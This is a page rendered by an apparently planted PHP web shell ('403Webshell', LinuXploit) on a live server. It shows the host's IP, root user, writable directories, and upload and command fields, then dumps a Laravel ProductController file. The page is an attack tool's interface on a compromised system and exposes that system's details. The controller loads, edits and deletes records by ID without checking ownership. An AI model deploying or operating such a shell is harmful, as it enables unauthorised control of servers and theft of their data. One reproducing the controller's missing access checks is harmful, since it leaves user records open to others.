403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.216.39
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app/Http/Controllers/ProductController.php
<?php

namespace App\Http\Controllers;

use App\Models\Product;
use App\Models\Invoice;
use App\Models\LineItem;
use Illuminate\Http\Request;
use App\Imports\ProductImport;
use App\Exports\ProductExport;
use Illuminate\Support\Arr;
use DataTables;
use Auth;
use Maatwebsite\Excel\Facades\Excel;

class ProductController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index(Request $request)
    {
       
        if ($request->ajax()) {
            $products = Product::where('posted_by', '=', auth()->id());//->orderBy('id','desc');
          
         
            return DataTables::of($products)
            ->addIndexColumn()
          
            ->addColumn('date', function($product){
                return $product->created_at->format('M d Y');
            })
            ->addColumn('status', function($product){
                $status =($product->status==1)?'<span class="text-success">Active</span>':'<span class="text-danger">Inactive</span>';
                return $status;
            })
            ->addColumn('action', function($product){
                $id = $product->id;
                $btn = '  <a href="javascript:void(0)" onclick="viewProduct(0,';
                $btn .= "'".route('product.view',$id)."'";
                $btn .= ')" data-bs-toggle="modal" data-bs-target="#view"><i class="fas fa-eye text-success fs-2"></i></a>
                &nbsp; | &nbsp;
                <a href="'.route('product.edit',$id).'"><i class="fas fa-edit text-info fs-2"></i></a> &nbsp; | &nbsp;<a href="javascript:void(0)" data-bs-toggle="modal" data-bs-target="#delete" id="deleteBtn" onclick="setValue('.$id.')"><i class="fas fa-trash text-danger fs-2"></i>  
                    
                </a>';
                return $btn;
                })
            ->rawColumns(['status','action'])
            ->make(true);
            
          }
        
        return view('products.index');
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        return view('products.create');
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $this->validate($request,[
            'name' => 'required|string|max:255',
            'sku_id' => 'string|max:50',
            'price' => 'required|numeric',
            'qty' => 'required|numeric',
            'description' => 'required|string',
            'status' => 'string|max:5',          
          
        ]);

        $status = ($request->status == "on")?1:0;
       
        $product   = new Product;
        $product->posted_by = auth()->user()->id; 
        $product->name = $request->name; 
        $product->sku_id = $request->sku_id; 
        $product->price = $request->price; 
        $product->qty = $request->qty; 
        $product->description = $request->description;       
        $product->status = $status; 

        if($product->save())
        {
            return redirect()->route('product.index')->with('success','Product Added Successfully!!');
        }
        return redirect()->route('product.create')->with('fail','Fail!! To Add Product');
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Models\Product  $product
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        $id   = trim($id);
        $product = Product::findOrFail($id);
        if(!empty($product))
        {
            return response()->json(['data'=>$product],200); 
        }

            return response()->json(['data'=>''],500); 
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Product  $product
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        $product = Product::findOrFail($id);
        return view('products.edit',compact('product'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Product  $product
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $this->validate($request,[
            'name' => 'required|string|max:255',
            'sku_id' => 'string|max:50',
            'price' => 'required|numeric',
            'qty' => 'required|numeric',
            'description' => 'required|string',
            'status' => 'string|max:5',          
          
        ]);

        $status = ($request->status == "on")?1:0;
       
        $product   = Product::findOrFail($id);
        $product->posted_by = auth()->user()->id; 
        $product->name = $request->name; 
        $product->sku_id = $request->sku_id; 
        $product->price = $request->price; 
        $product->qty = $request->qty; 
        $product->description = $request->description;       
        $product->status = $status; 

        if($product->save())
        {
            return redirect()->route('product.index')->with('success','Product Updated Successfully!!');
        }
        return redirect()->route('product.create')->with('fail','Fail!! To Update Product');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Product  $product
     * @return \Illuminate\Http\Response
     */
    public function destroy(Request $request)
    {
        $id   = trim($request->delete_id);
        $product   =  Product::where('id',$id)->delete();
        if($product)
        {
            $user_id = auth()->user()->id;
          
             LineItem::where(['product_id'=>$id,'posted_by'=>$user_id])->delete();
             $invoice_ids =LineItem::where(['posted_by'=>$user_id])->get(['invoice_id'])->toArray();
            $invoice_ids  = Arr::flatten($invoice_ids);
            $cust_ids = Arr::flatten(Auth::user()->customer->toArray());
          
            Invoice::whereIn('customer_id', $cust_ids)->whereNotIn('id',$invoice_ids)->delete();
            return redirect()->route('product.index')->with('success','Product deleted Successfully!!'); 
        }
        return redirect()->route('product.index')->with('fail','Fail!! To delete Product');

    }

    public function importView()
    {
        return view('products.import');
    }


    public function import(Request $request)
    {
        
        Excel::import(new ProductImport, $request->file('file'));
        return redirect()->route('product.import')->with('success','Product Imported Successfully!!'); 
    }

    public function export() 
    {
        return Excel::download(new ProductExport, 'products.xlsx');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit